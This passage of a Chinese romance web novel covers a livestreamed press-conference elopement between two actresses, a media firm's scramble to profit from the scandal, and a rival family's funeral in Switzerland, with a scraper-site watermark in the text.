原本有序的现场瞬间变得嘈杂无比，苏菱在台上声嘶力竭地吼道：“苏寄欢，你在说什么！这是全球直播！这是全球直播啊！你在说什么！！” 她凄厉地吼着，想要扑到苏寄欢面前掐灭话筒，可苏芙不停地抱着她，她无法再向前一步。 “苏寄欢！你不要命了！你把苏家置于何地！你把[苏盛］置于何地！你把你自己置于何地啊！你疯了！你这个疯子！你这个疯子！！疯子！！！”苏菱没有话筒，她的喊叫被淹没在喧闹之中，她拼命向前抓，却被苏芙用力拉着。 苏寄欢看着台下乌泱泱的记者和不断闪烁的闪光灯，又看向正对着她的直播摄像机，苦涩地笑了。 “你也看到了那些视频吧？在我和你在一起前，你总是说我是你的神明，是一个多么完美的女人。你不敢靠近我，不敢接受我给你的爱。但现在你看到了吧，我根本不是那么完美的人，我是一个不堪的人。” “上一次我们离婚，我说你是胆小怯懦的人，遇到问题总是想着退缩和逃避。其实一直以来，不敢面对问题的人是我。我甚至不敢把我的过去给你看，总要佯装成潇洒的模样，然后指责你的难堪，奚落你艰难的处境。” 她笑着，眼角的泪水顺着脸颊滴落在手背上，“面对我们的感情，我总是束手无策，我总是在想，我们走到今天这一步到底是谁的错，到底是谁先放弃谁的。我总要把错误归结于你太懦弱，但现在才发现是我本就没有敞开心扉让你看到真正的我。” “星星，这一次真的很艰难，我又一次不知道该怎么解决。可我不想再把问题抛给你了，不想让你承担‘抛弃’这个罪名。这一次，我主动退缩好吗？我做那个胆小鬼，我做主动放弃的人，我……” “苏老师！” 一个熟悉的声音从遥远的大厅大门处传来，穿透了1200平喧闹的会议大厅。 苏寄欢猛地站起身来，她看到大厅门口一个穿着便装、戴着帽子的女孩，正不顾保安的阻拦，拼命地跑了进来。 那个女孩一边向发言台奔跑，一边大声呼喊：“苏老师！我不要！我不要你做胆小鬼！” 看着那个飞奔而来的身影，苏寄欢忽然笑了，她转头看向苏芙，轻声说：“苏芙，你看，她不会让我输。” 这个世界是权力的游戏，但也是勇敢者的游戏。 苏寄欢一直都是勇敢的赌徒。 这一次，又是赌徒的狂欢。 苏芙眼眶泛红，她抱紧苏菱咬着牙说：“去吧，寄欢，暂时逃离这个乌烟瘴气的地方，这个地方我也讨厌得要命。” 这一刻苏菱这才如梦初醒，她意识到苏芙和苏寄欢是一伙的。 她拼命挣扎又凄厉地喊着：“干什么！你们干了什么！” 她又看向苏寄欢，怒吼起来：“寄欢！你要做什么！你不准离开！不准！” 眼看着苏寄欢摘下所有东西，苏菱朝着保安大声呼喊：“保安！快挡住她，挡住她！快！” 台下的祝星亦喊着苏寄欢的名字，身后的保安在拼命追赶她。 她跑得太急，一个踉跄重重地摔倒在地。那群保安瞬间围上去按住了她，准备把她拖离现场。 她拼命挣扎着，声嘶力竭地喊着苏寄欢的名字，向台上的苏寄欢伸出手：“苏老师！苏老师！” 苏寄欢心疼地看着祝星亦，她毫不犹豫地踏上板凳又踩着桌子从台上跳了下来。 看到这危险的一幕，苏菱惊恐地惊呼：“寄欢！你在做什么！！寄欢！” 苏寄欢跳下来的一刹那，记者们的惊呼声、闪光灯的咔嚓声充斥着整个会场。苏芙反应迅速，赶忙招呼其他保安拦住那群按着祝星亦的保安。 祝星亦趁机挣脱爬起来，一瘸一拐地继续奔向苏寄欢，“苏老师！苏老师！” “苏寄欢！你给我回来！苏寄欢！”苏菱的怒吼声在身后不断响起。 “各位媒体记者请不要离开座位！不要离开座位！”苏芙厉声提醒媒体记者不许凑到前面拍摄，“保安！把记者拦住，不要让他们靠近寄欢！” 保安拦着那群想要凑到前面的记者，但近千人的视线和镜头还是不由自主地对准了这两个奔跑的人，闪光灯刺得人眼疼。 脚步越来越快。 苏寄欢眼里只有那个朝她奔来的身影。 她离她的星星越来越近，越来越近。 终于，她张开双臂，紧紧地抱住了她的星星。 “苏老师！”祝星亦扑在苏寄欢怀里，再也抑制不住情绪，放声大哭起来。 她一声声喃喃着“苏老师”，她的苏老师，她可怜的苏老师，她深爱的苏老师，她深深爱着的苏寄欢，她纠缠了十年的女人，她最爱最珍重的爱人，她的苏寄欢。 苏寄欢抱紧她，轻声问：“你看到那些东西了吧，你知道我不是那么美好的苏寄欢了吧，你也知道我要彻底放弃你了吧。” “我不管！我不管我不管我不管！”祝星亦抱紧她近乎嘶吼着，“你好你坏你变成什么模样你都是我的苏老师，你就算放弃我抛弃我杀了我我也爱你！你退缩我就前进，你抛弃我我就追你，我又不是什么好东西，我就要缠着你黏着你！” 苏寄欢流着眼泪，轻轻吻着祝星亦的头发，笑着说：“我们曾是璀璨耀眼的大明星，现在我们都是不堪的混蛋。” “混蛋就混蛋！不堪就不堪！有你在，我什么都不在乎！我一点都不害怕！污点又怎么了，丑闻又怎么了，耻辱不堪又怎么了！”祝星亦抱紧她大喊着，“我想要的只有你的注视，我根本不在乎她人的凝视。我只要你看着我，我也只看着你，我要缠着你，爱着你，永永远远！” 她低眸看着满脸泪水的祝星亦，缓缓弯腰，温柔地吻上祝星亦的眼角。 她赌赢了，她真的赌赢了。 这一次，她的星星坚定地选择了她，没有退缩。 这一次，她获得了前所未有的胜利。 一个坚定的理想主义者，获得了理想的胜利！ 一个疯狂的赌徒，大获全胜！ 大获全胜！！！！ 此起彼伏的快门声和记者的叫嚷声，以及苏菱的怒吼声在四周响起，她充耳不闻。 她打横抱起一瘸一拐的祝星亦，和怀里的祝星亦一起看向大门。 “我的车里载满了衣服鞋子，载满了生活用品和数不尽的钱，我的车也加满了油。”苏寄欢俯身，轻轻亲吻祝星亦的额头，“那么星星，我们逃吧。” 怀里的狐狸揽紧她的脖子，哭着点头：“嗯！我们一起逃走！我们一起逃！” 她笑着，抱着狐狸快步跑了出去。 千名记者见状兴奋地突破保安的阻拦，像鬼一样嚎叫着追了出去，苏菱的怒吼声瞬间被淹没在喧嚣之中。 苏芙抱紧苏菱的腰身，看着那些疯狂的记者们不顾一切地举着摄像机追着两人跑了出去，兀自笑出声来。 跑吧，跑吧，离开这里，离开讨厌的牢笼。 跑吧！苏寄欢，你跑吧！你快跑吧！！ 她们跑出希迪斯会议厅大门，迅速奔向古斯特坐进去。 车启动，冲入夏夜。 身后，数不尽的记者像潮水一样奔涌而出，他们举着摄像机，如末世片里的可怖丧尸般嚎叫着奔跑，妄图撕碎最新鲜的肉，搏一搏最劲爆的热点。 他们的脚步声像地震，闪光灯刺眼得照亮了整座城市。但当他们跑出来想要追上两人时，古斯特已经被淹没在麓城的夏夜里。 缥缈的晚风裹挟着嘈杂的街道，城市的霓虹在空旷蓝黑的天上闪烁着，溽暑蒸腾的夏天，大半个城市被喧哗遮盖。 她们还是她们。 麓城还是麓城。 故事从头说起。 十年前，她们意气风发。 十年后，她们仍旧鲜活。 今夜月色真美。 她们盛大出逃。 第176章 盛装出席 ilmeth传媒大厦—— “您好，这里是ilmeth商务部，好的，这边查看一下直播间剩余广告位。” “OK，无人机切远景，holdon，holdon，切6号机位，Perfect！” “哦～麦～嘎！幕视平台直播在线人数107万！破我们平台记录了！107万啊！！好耶！年度kpi一口气完成了！” “Thatshilarious！Foulings直接送了100个嘉年华，位居榜一！他们家之前不还内涵祝总是劣迹艺人，不想投资《长离引》吗？这次不惜花费100个嘉年华蹭热度，哦～sosneaky！” “关总～林总让您联系苏总，她想知道苏总要带着祝总逃去哪里。她想等事件平息后，和当地文旅合作做个节目～” 林总的助理过来传话时，关南欣紧急联系苏寄欢。 给苏寄欢打了十几个电话都打不通，打助理金允声的电话也打不通，她索性撂下手机跑去林总的办公室开了个小会。 苏寄欢“闹出”这事没有跟任何人商量，还好有苏芙提前主动联系ilmeth，提醒她们做好招待会突发情况的准备，但没人知道会是这么个突发情况。 “苏芙小姐，请问您这边知道苏总要带祝总去哪里吗？”关南欣着急问。 祝星亦那边完全断了联系，现在她又拨不通苏寄欢的号码，只能去联系苏芙。 苏芙那边很嘈杂，关南欣皱着眉头等了会儿，苏芙那边才恢复安静。 “不好意思，她也没有跟我说她会去哪里，她只跟我说让我给她备好东西，我准备好那些东西之后就没有过多问她。”苏芙疲惫地说着，又抱歉道：“不好意思，您稍等，我先处理一下其他事情。” 又过了会儿，苏芙拿起电话说：“您问她的行踪是想做什么？是想继续采访吗？” 关南欣笑笑说：“我们想获取她和祝总的避风头地点，打算等事件平息之后和那边的文旅合作，做个话题或者做个节目什么的。这次两位的话题热度都很高，我们想要借着这个话题……” 苏芙站在阳台上看天上的星子，碎落在天上的星星像阳光下的玻璃碴子，刺眼得很。 对于这些商人来说，流量、话题才是她们最关心的东西，她们甚至会拼尽全力榨干当事人的每一滴热度，哪怕当事人已经伤痕累累。 娱乐至死的社会，噬人肉，喝人血，啃碎骨头！ 苏芙握紧手机，声音冷了下来：“关总，现在寄欢和星星需要一个不被打扰的空间，而不是继续被消费。这些天的舆论对她们的伤害很大，她们已经够累了，您觉得现在谈合作合适吗？” 关南欣听出她话里的不悦，连忙解释：“苏芙小姐，您误会了，我们不是要打扰她们，只是想提前规划，等风波过去后……” 等风波过去后？可风波什么时候会过去？ 苏芙嗤笑一声：“关总，[星闪］是林总投资的，星星陷入舆论风波的时候，你们ilmeth可是一句话都没为她说过，但你们产出她的负面舆论还挺勤快的。赚她的钱还要吸她的血，这就是ilmeth的商业态度吗！” 关南欣被吼了几声，倒也没动怒，好声好气说：“哎呀，苏芙小姐啊，您这可就言重了～商业合作是一回事，我们的工作是另一回事，祝总热度那么高，我们不分一杯羹那不是傻子吗？对了，今天苏总在记者会上穿的那套衣服正好是我们ilmeth老熟人的品牌，直播的时候我们给品牌上了广告位，等风波过去后，我们这边给苏总牵个线……” 苏芙握着手机看天上的星星，对方又说了许多话。 比如ilmeth准备和[苏盛］合作做些苏寄欢的复出话题，价钱好商量；比如能不能提供更多独家消息，价格不是问题；又比如能否爆料苏寄欢和祝星亦过往恋爱细节，ilmeth想运营这二位的cp，因为她们已经拿到了《寄明月》的版权，准备让这部老剧冲一冲季度播放量榜单。 精明的商人会利用一切可以利用的东西，无人关心那两位勇敢出逃的人会不会安全抵挡陌生的城市，也无人关心她们会是开心地接受未知的未来，还是对即将到来的恐怖舆论感到恐慌。 他们眼中，利益至上。 苏芙垂着眼随意应付了几句挂断电话，转身准备开阳台出去，却见客厅里苏菱和其他几位姨姨声泪泣下地指责苏寄欢不听话。 苏家的其他孩子愁眉苦脸地聚在客厅，苏以薇冲她挥手招呼她快出来。 真是一出荒唐的戏剧。 头发被吹得凌乱了些，她感受着身后的夜风准备走出阳台，手机又震动了几下。 下意识要挂断，却见来人是Lilyana。Lilyana是询问苏寄欢的事，以及问一问约定好的和苏寄欢见面。 Lilyana看了直播，她为苏寄欢的行为感到震惊，也很担心苏寄欢的精神状态。 苏芙抱歉地说可能没办法让Lilyana帮忙治疗苏寄欢，但会抽时间招待她。 Lilyana显然很开心，一面说着好，一面说会给苏芙介绍一下在心理学术大会上认识的新朋友。 苏芙敷衍过后关掉手机。 走出阳台，苏菱的哭声在耳边回旋。 苏以薇问：“又是谁打的电话？怎么了？” “谈生意的，我都给拒了。”苏芙垂着头说。 有长辈把话题转移到苏芙身上，骂了苏芙几句，苏芙没搭理。 苏以薇挠挠头问：“什么时候会结束啊，她们又哭又闹真的好烦。” 苏芙苦笑：“我也想知道什么时候结束，她们好烦。” / 记者招待会直播后的第五天，Lilyana和苏芙相约一个小咖啡厅见面。 苏芙到咖啡厅后看到Lilyana旁边坐着一位戴眼镜的西装女子，Lilyana挥手喊苏芙过来。 坐下后，Lilyana给苏芙介绍身边的人叫Anja，是一位从旧金山来的心理医生，她们住在酒店的对门，又是学术大会邻座，还一起逛了逛麓城。 说起麓城，Anja说自己曾经也治疗过来自麓城的患者，“Seemslikeshesbeengettingprettyfamouslately.（哈哈，她最近好像还很出名呢！）” Lilyana忙问那人是谁，Anja正要拿手机，瞥了眼咖啡厅的大屏电视，惊喜地指着电视说：“Oh！Th*isone！Stella！ZhuXingyi！（哦，就是她，Stella！祝星亦！）” 祝星亦？ 苏芙看着大屏里播放的祝星亦的新闻沉吟片刻，当初祝星亦在旧金山出过严重车祸，后面被心理医生带着走出来也是花了很长时间。 没想到这个医生竟然是Anja，真是有缘。 Anja感慨祝星亦当时的情况很糟糕，苏芙叹道：“Yeah…thatcrashwasbrutal.（也是，她当时出的那场车祸很严重来着。）” Anja忽然一脸疑惑：“CarcrashNah，itwasthewholefallingthingthatmessedherup.（车祸？等等，什么车祸？她当时是因为坠楼的阴影太大，才难以走出来的。）” Anja说完，苏芙忽然顿住了。 坠楼？什么坠楼？祝星亦不是因为在旧金山出了车祸，身上才钉了42颗钢钉，身上缝合600多针吗？ 坠楼？怎么是坠楼？怎么坠的楼？ Anja比画了一下，神色复杂道：“Holdup，shefellinChinabeforeevengoingtoSF.HowdoyounotknowthisShe‘severywhere！（她开始是在中国坠楼受伤的，后面才到旧金山治疗。哎，等等，她那么出名，你不知道？）” 看到苏芙的表情后，Anja回头看向还在播放着祝星亦新闻的大屏电视。 意识到什么后，她扶着额头低声念叨：“Jesus，Ijustblabbedherprivatestuff.Justendmealready.（天啊，我居然透露了患者的隐私，我应该被拉出去枪毙！）” 大屏切换了人物，开始播放苏寄欢的新闻。 Lilyana笑嘻嘻地指着屏幕上的苏寄欢跟Anja说那是她的患者，也是她的朋友，“ShesStellasgirlfriend！Hah！Betyoumissedthatlivestream，didntya（Nikos是Stella的女朋友哦，你肯定没看那个精彩的直播，哈哈哈！）” 两人八卦了起来，苏芙耳鸣了会儿，一脸急切地看着Anja诚恳道：“Anja，spilltheteathen，whatactuallyhappenedtoStellainSanFran（Anja，可以跟我多讲讲Stella在旧金山发生了什么吗？）” Anja一脸难色：“Nah，Sophie，Imout.（Sophie，不行，我不能这样做。）” 苏芙双手合十：eon，please…（求你了，告诉我吧……）” / “嗯？植物人还病危？不过不是晏珂的消息就不要跟我汇报了。”林总挂断电话后，办公室外有人敲门。 关南欣在外面喊：“林总，有事找你。” “进。”林总道。 抬眼看进来的人，除了关南欣还有苏芙。 她马上笑眯眯站起来：“苏芙小姐，嗨呀，你是不是要来跟我说苏总去了哪里呀？欢迎欢迎！来来来，快坐。” 苏芙没有坐下，一脸凝重地说：“林总，我来是为了祝总的事。” 林总依旧笑着：“谁的事都好说，只要你告诉我苏总去了哪里，这世界上所有的事都好说！” “请问祝总坠楼一事的真相到底是什么？她在国内为什么坠楼，你们ilmeth为什么会送她去旧金山治疗，为什么要把她坠楼一事伪装成车祸！” 苏芙的声音震耳欲聋，仿佛要将办公室的天花板掀翻。 听后，林总依旧笑眯眯的，面不改色地踱步到一旁的沙发前优雅地坐下。她跷起二郎腿，指尖轻轻敲击扶手，一副标准的上位者姿态。 “做生意呢，都是有来有往。”她慢条斯理地说，眼里带着玩味，“我不想吃亏，你想知道这个真相，那就拿其他东西来换。” 她忽然歪头，故作天真地问：“哦，对了，晏璟霖病危的事你知道吗？” 苏芙眉头一皱，冷冷道：“她死了才好！” 林总“噗嗤”一声笑出来，拍着手道：“哎呀，真巧，我也是这么想的！” 她站起身踱步到苏芙面前，微微倾身压低声音：“你想知道祝总坠楼的真相啊？那你要先给我提供你能提供的价值。” 她竖起两根手指：“首先，我要知道苏总在哪。其次——” 她眯起眼睛，笑得意味深长，“我想要你们代替我去瑞士看看晏璟霖，顺便看看晏珂那个女人，帮我问候几句。” 她刚要继续说下去，手机铃声突然响起。 她不耐烦地“啧”了一声接通电话：“我都说了，不是晏珂的消息别给我……” 电话那头不知说了什么，林总的表情忽然凝固，随即嘴角缓缓上扬，最后竟笑出声来。 “啊？晏璟霖死了？”她语调轻快，仿佛在听什么喜讯。 她敷衍地应了几句挂断电话，转身朝苏芙耸耸肩，语气轻松得像是在家里柜子里发现了一只死蟑螂：“那就拜托你们代我去瑞士参加一下晏璟霖的葬礼咯，把你阿姨苏菱也叫上。” 晏璟霖……死了？ 居然……死了？ 苏芙攥紧拳头沉默不语。 晏璟霖死了她确实很开心，但她现在觉得眼前这个女人阴晴不定，神经兮兮的像个疯子。 林总却毫不在意她的眼神，自顾自地走向办公室角落的小冰箱取出一瓶香槟“砰”的一声打开。 泡沫喷涌而出，她笑嘻嘻地走过来。 “死了你们不放烟花庆祝啊？啊？哈哈哈哈哈！”她笑得前仰后合，甚至夸张地擦了擦眼角并不存在的泪水，“死得好啊！晏珂什么时候死啊？死了我要宴请八方！死了我就亲自给晏珂举办葬礼，我要在她葬礼上放《好日子》！哈哈哈哈！” 她拎着酒瓶快步走到苏芙面前突然凑近，浓烈的香槟气息扑面而来。 “只要你们代我去看看晏珂，再参加晏璟霖的葬礼……”她压低声音，眼神却亮得吓人，“最后告诉我苏寄欢在哪，我就把真相告诉你。” 她退后半步举起酒瓶灌了口酒，然后咧嘴一笑露出森白的牙齿：“哦，对了，一定要盛装出席哦～”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 完结＆番外 第177章 最佳剧本 晋江文学城《被钓系影后缠上后》（又名《最佳剧本》）正文完结章 // 飞机直达瑞士苏黎世机场，苏芙和ilmeth派来的艾雯简单对接后前往酒店。 苏芙不理解林总为什么亲自要她们来，她们现在为了苏寄欢的事焦头烂额，哪有什么心情参加葬礼。再说她们参加晏氏的葬礼，虽然大快人心，但看起来不太好。 参加仇人的葬礼，到现场会被特别关注吧？比如会被怀疑在葬礼现场放《好日子》什么的。 到酒店后，苏菱在苏以薇和苏黛珊的照顾下先睡下了。艾雯在客厅跟苏芙讲解举办葬礼的地点，晏璟霖将会被安葬在劳特布伦嫩小镇一处漂亮安静的墓地。 “明天我们要去劳特布伦嫩，参加完教堂的告别仪式跟着看晏璟霖下葬，还要找到晏珂问候两句。”艾雯放出晏珂最近的照片和视频。 这个六十多岁的女人坐在轮椅上，长年生病的她看起来一副风烛残年之态，现在又因为长女去世更加凋零，好像随时都要倒下。 苏芙看了晏珂的照片倒胃口，这个女人害了苏寄欢那么多年，她害完，她的女儿还要继续害，看都不想看她一眼！ 艾雯说着，放下手机小声跟苏芙说：“你们来得晚，可能不清楚晏氏这边发生的事情，你知道晏璟霖之前为什么病危吗？她植物人状态很久了，指标一直都很正常，去世前忽然就病危了。怎么那么奇怪呢？” 苏芙本不想过多讨论晏氏的事，她现在满脑子都是苏寄欢这个到底跑哪去了，但艾雯开了这个话头，她也有点八卦的心理，好奇地问艾雯知不知道点内情。 艾雯说苏芙问对了人，先问苏芙认不认识晏瑾年，苏芙说她当然认识这个狗东西。艾雯便跟苏芙说：“就祝总和苏总的事件爆发的那段时间，晏瑾年联系了照顾晏璟霖的护工，给晏璟霖用了危险药物，致使晏璟霖病危，不久就死了。” 苏芙哑然：“不可能吧！晏璟霖可是晏瑾年的亲姐姐，她怎么可能杀自己的亲姐姐？？” 艾雯也说不太可能，但晏氏那边传出来的消息就是这样，她又跟苏芙说：“我听说是晏瑾年想要拿到晏珂手里的股权，也想把晏璟霖手里的拿回来。但晏珂一直不给，一直想着晏璟霖会醒来，晏瑾年就不乐意了。” 苏芙思考了这晏氏母女的关系叹道：“这也是啊，晏璟霖都在床上躺五年了，晏珂怎么还不把股权转给晏瑾年呢？都是自己的女儿，给谁不一样？竟然还想着等晏璟霖醒来，也难怪晏瑾年这么极端。” “可不是嘛！”艾雯赞同苏芙的话，“晏珂就是太重视她的大女儿了，我听说她之所以生二女儿晏瑾年，就是为了让这个二女儿辅佐晏璟霖。晏瑾年可是被晏璟霖压了一辈子啊！嗐！她们这豪门真是让人不懂，都是自己身上掉下来的肉，怎么能让一个人为了另一个人活呢？” 苏芙撇嘴感叹：“还是只生一个好啊，看看我们寄欢就知道了。我四姨就寄欢一个孩子，宝贝得不得了，一辈子就为了寄欢活着，谁碰一下她都要敲断谁的手。” 艾雯吐槽：“上一辈的人真奇怪，总不把孩子当个体看。你四姨也是心狠，为了自己的孩子伤害别人的孩子，只她自己的孩子宝贝，别人的就是烂泥巴！” 谁说不是呢？苏芙何尝不是这样想的？但苏菱的思想已经根深蒂固，任何人都改变不了她，一路从麓城飞到苏黎世，苏菱还念叨着要怎么处理祝星亦的事。 苏芙拿苏菱没办法，好在她跟ilmeth的林总做交易的时候拜托她控制一下祝星亦的舆论，不要再有更多视频流出。 林总是个痛快人，截断了苏菱准备曝光的其他视频。 苏芙觉得林总这个人有能力是真有能力，重利也是真重利。但是和这种典型的资本家做交易，能达成自己的目的就够了。 晚上苏芙跟苏菱对了一下明天葬礼的流程，苏菱躺在床上心不在焉。她还在想着苏寄欢的事，苏芙要她少操心，都飞来瑞士了，就不要想家里的事。 第二天苏芙早早起来，一行人收拾好去叫苏菱，苏菱却躺在床上不动弹。过去看了下才发现苏菱浑身发烫，苏芙赶忙喊叫了医生过来给苏菱瞧瞧。 医生道是发烧了，吃点药休息休息就好。但病是解决了，葬礼去不了了。 苏蔓语举手主动留下来：“姐，你们去葬礼吧，我在这里看着四姨。” 苏芙和苏以薇商量了下，便带着其他人跟着艾雯一起去劳特布伦嫩。 劳特布伦嫩的高山风光像一场童话梦境，苏以薇说想要退休以后一定要来这种北欧小镇长住。 苏芙没有心情看景色，她又给苏寄欢发了很多短信打了很多电话，对方一概不接不回。她心急如焚，怕苏寄欢出事，又想快点知道苏寄欢在哪，不然她回去不好跟林总交差。 偶然瞥了眼外面的瀑布景观，苏芙眼睛亮了亮，调侃：“那晏璟霖不是爽翻了？她都在这里长眠了！” 苏以薇说这真是地狱笑话，苏芙哼哼两声感叹：“她都进地狱了，开她玩笑又怎么了？” 葬礼仪式在镇上的一处教堂里，前来吊唁的人还挺多。苏芙到教堂后看着满教堂的黑衣人，真想把这里的人全都抓起来。 艾雯叫她别生气：“来这里吊唁的不只有和晏氏交好的人，还有很多像我们这样看笑话的人啊。” 苏芙想想也是，五年前晏氏垮了之后，晏氏不像以前那样威风。名利场上哪有永远的朋友，那些人说不和晏氏联系便不联系了，撇得一干二净。 参加这个葬礼还要问候一下晏珂，苏芙向艾雯打探晏珂在哪，艾雯去询问其他人，回来说：“晏珂身体不好，在后台，等下可能会出来。” 艾雯带着苏芙跟随宾客们去晏璟霖的遗像前吊唁，苏芙随意装装样子，瞥了眼晏璟霖的黑白照片。照片上是晏璟霖生前还健康时意气风发的模样，五官锐利，眼神坚定。 倘若晏璟霖是个好人，苏芙倒要称赞晏璟霖是个有谋略的野心家，可惜晏璟霖生在晏家，她只是个和晏珂一样心狠手辣的恶毒女人。 苏芙满不情愿地鞠了躬，刚起身，一个黑衣黑裙的女人如豺狼虎豹般扑了过来，女人头戴黑纱，双目狠厉无比，她拽着苏芙的衣领似疯了般吼着：“在哪！星星在哪！苏寄欢把星星带到哪里去了！” 苏芙这才注意到这个女人是晏瑾年。 晏瑾年的一声吼叫过后，葬礼现场的空气仿佛凝固了。 苏芙被晏瑾年的袭击惊得后退好几步，缓过来后，她厌恶地推开晏瑾年，说：“你管她们去哪了！” 教堂里的宾客们纷纷侧目，几个黑衣保镖冲上来架住晏瑾年，她却像头受伤的母兽般继续嘶吼：“把她还给我啊！你们把她带到哪里去了！把她还给我啊！” 苏以薇赶紧上来护住苏芙，气吼吼指着晏瑾年的鼻子说：“什么还给你，星星什么时候是你的了？！你吼什么吼啊！” 周围的宾客都围了过来，苏芙看这里成了视线中心，不由得恼怒几分。 苏芙本来就不情愿来这里，现在还被一群人看猴似的围观，她也气急了，跟着吼道：“晏瑾年，当初星星跟你们交好，你们不把她当人看，还百般羞辱她。现在还敢大言不惭说是你的星星，我看你是脑子坏了！” 晏瑾年突然发出一阵刺耳的笑声，黑纱下的面容扭曲得可怕：“我不把她当人看？我把她当人看有什么用？” 她猛地指向晏璟霖的遗像，“有晏璟霖在，谁都得跪下来当狗。但是现在晏璟霖死了，我的星星，我的星星能原谅我了吗？五年了，我五年没有见她了，我好想她。” 苏芙冷眼看着这个歇斯底里的女人，胃里泛起一阵恶心。五年前祝星亦被她们当作玩物般戏弄的场景还历历在目，现在倒演起深情戏码了？ “晏、瑾、年。”苏芙一字一顿地说，“星星不是你的所有物，你们伤害过她，更是没资格说见她，也没资格谈原谅。” 这句话像刀子般刺进晏瑾年心口，她突然暴起挣脱保镖，扑向苏芙：“是星星先爱上我的！她说她喜欢成熟有魅力的我，想和我在一起！怎么我爱上她了，她却不要我了？苏寄欢人呢！苏寄欢！” 她又疯了似的拽着苏芙的领口大声质问：“快告诉我她在哪，快告诉我啊！苏寄欢凭什么带走她？凭什么啊！你们苏家这么讨厌她，为什么还要把她藏起来！” 晏瑾年扒开人群要去找苏寄欢的身影，边往前扒着边喊：“苏寄欢！苏寄欢你把我的星星带到哪里去了！星星！星星你回来吧！星星我原谅你欺骗我，你怎么骗我都没关系，我只要你在我身边，星星！星星我好想你！星星！” 保镖拉着晏瑾年不要她在这里发疯，苏芙觉得又晦气又丢人，从人群里挤出来后，余光瞥见教堂侧门被推开，一个坐在轮椅上的枯瘦身影被缓缓推出。 晏珂。 即使晏珂早早就到瑞士养病，苏芙仍能认出那双鹰隼般锐利的眼睛。 岁月和病痛侵蚀了这个曾经叱咤商界的女人，但那股压迫感依然令人窒息。她迅速打开视频通话，将镜头对准晏珂。 “蔓语，快让四姨看看。”苏芙低声对手机那头的苏蔓语说。 保镖制止住晏瑾年过后，教堂慢慢恢复平静。葬礼主持人的声音适时响起，开始宣读晏璟霖的生平“功绩”。 苏芙听着那些粉饰太平的谎言忍不住发笑，若不是晏珂这些年用尽手段保全晏璟霖，晏璟霖早该在监狱里度过余生！ 轮到晏珂开始致辞时，教堂陷入诡异的寂静。她颤抖的声音通过麦克风传遍每个角落，讲述着对长女的无尽哀思。 不过苏芙注意到，当晏珂宣布继承自己晏璟霖全部遗产时，站在一旁的晏瑾年脸色不太对劲。 “璟霖永远是我最骄傲的女儿，我会用我的余生怀念她。她是我此生最优秀的作品，她是我最珍爱的宝贝。璟霖，妈妈永远爱你，永远……怀念你……”晏珂最后说道，浑浊的眼泪滑过沟壑纵横的脸颊。 苏芙关掉视频通话冷笑一声，真是什么样的妈养什么样的女儿，一家人肚子里全是坏水儿，死了还要怀念一下。这么宝贝女儿，怎么不去下面陪她！ 吊唁过后是下葬仪式，苏芙站在人群中看工人将晏璟霖的骨灰盒放入墓穴。 泥土一铲铲落下，她忽然感到一阵莫名的空虚。这个苏家的仇敌，如今只剩一抔灰土，她本应该高兴才对，怎么…… “因为死亡会让人变得感性。”艾雯在她身边轻声说。 过后艾雯要带着苏芙去见晏珂问候两句，苏芙讨厌晏珂讨厌得要命便没去，拍了几张晏珂的相片跟着艾雯回去。 驶离劳特布伦嫩，一路苏芙都没怎么开口说话，她想起晏瑾年想要询问苏寄欢的下落，可她也想知道苏寄欢到底去哪了。 刚到酒店，艾雯被一通电话挡住了出车门的脚步。 苏芙在车旁等了会儿，艾雯摇下车窗挂断电话望向苏芙：“苏芙，葬礼过后，晏珂回家的路上出意外了，她现在在icu，医生下了病危通知书。” 安静了许久，苏芙终于露出久违的笑脸：“是吗？太好了。” / 凌晨四点半，苏芙没等来什么消息，却等到了艾雯的敲门。 苏芙一个激灵从床上弹起来，顾不上整理衣服快步打开门。 “苏芙，林总来了。”艾雯看了下时间，声音里带着急迫：“她刚刚落地苏黎世机场，现在正往医院赶。晏珂快不行了，晏家的人都过去了，晏瑾年带着律师团队已经到了，看样子是要做遗嘱公证。” 苏芙没有过多犹豫，快步走向苏菱房间敲响苏菱的房门，带着一行人跟着艾雯赶往医院。 到医院后刚停好车，艾雯接了通电话带苏芙几人从另一个电梯上去，“林总联系医院的人支开了晏氏的人，现在晏珂已经在弥留的状态。” 艾雯带着几人拐向侧面的VIP电梯，电梯门滑开后，医院的走廊像一条冰冷的隧道，消毒水的气味刺得人鼻腔发疼。 穿过走廊，往晏珂的病房走，映入眼帘的是令人窒息的场景：林总一身黑色套装站在病房门口，关南欣和几个西装革履的助理分立两侧，最引人注目的是站在阴影处的几名警察。 警察？还有这么多人？ 苏芙疑惑怎么会有这么多人过来，也好奇林总带那么多人到这里要做什么。 听见脚步声，林总回头，笑眯眯地冲苏菱伸手：“苏菱女士，您好。” 苏菱礼貌握住，她对林总的观感一般，这个林总是个非常重利且非常典型的生意人，和这种人不能谈感情，只能谈利益。 “您好，林总。”苏菱微微颔首，目光已经越过对方，落在病房那扇门上。 “去见见晏珂吧。”林总侧身让开，声音忽然放轻，“你们有十多年没见了？” 她的话尾带着刻意的停顿，仿佛在等待什么反应。 苏菱仔细算算，确实有十几年没见了。但晏氏给苏家带来的伤害，可是日日都能见到！ 苏菱的手指在门把手上收紧，她推门的瞬间，林总忽然在她身后开口：“等您出来，我们有重要的事情相告。医生说她最多撑到六点。” 她看了眼腕表，“现在是五点三十分。” 苏菱对林总卖的关子并不感兴趣，推开门，视线忽然变暗。 病房内的光线被调得很暗，晏珂躺在病床上，她身上被包扎得很严实，还有很多血迹渗出，每一次呼吸都伴随着艰难的抽气声。 苏菱站在床尾，恍惚间看见三十年前那个在会议室主座上意气风发的女人。 那时晏珂穿着定制套装，她握着苏菱的手笑说：“令爱的到来，一定会让晏氏娱乐板块大放异彩。” 而那时小小的苏寄欢站在苏菱身边，签字过后，踏入这个吃人的牢笼。 记忆像老电影一样闪回。 解约那天，苏菱坐在办公室里签字，晏珂坐在远处的高位上，笑呵呵说着日后还是朋友。 可后来她们在法庭上相见，苏菱赔了那家经纪公司将近千万元，而晏珂坐在观众席位上，仍是笑眯眯的模样，似乎旁人的命运只是纸上轻飘飘的几个字。 被整个圈子排挤得无处可去时，苏菱带苏寄欢远走海外。坎坷8年后回国，晏氏的[晏影］几乎将半个娱乐圈的资源垄断。 时光是艰难的，每一步都是艰难的，[苏盛］建立起的那一刻，也肩负了抵抗[晏氏］的重任。 不久后晏珂完全卸任，将晏氏交给晏璟霖打理。晏珂来瑞士养身体，苏菱也再未见到她。 苏菱没想到再见面，这个女人就要死了。 商业竞争中，唯有笑到最后才是真正的胜利者。 苏菱觉得是自己胜了。 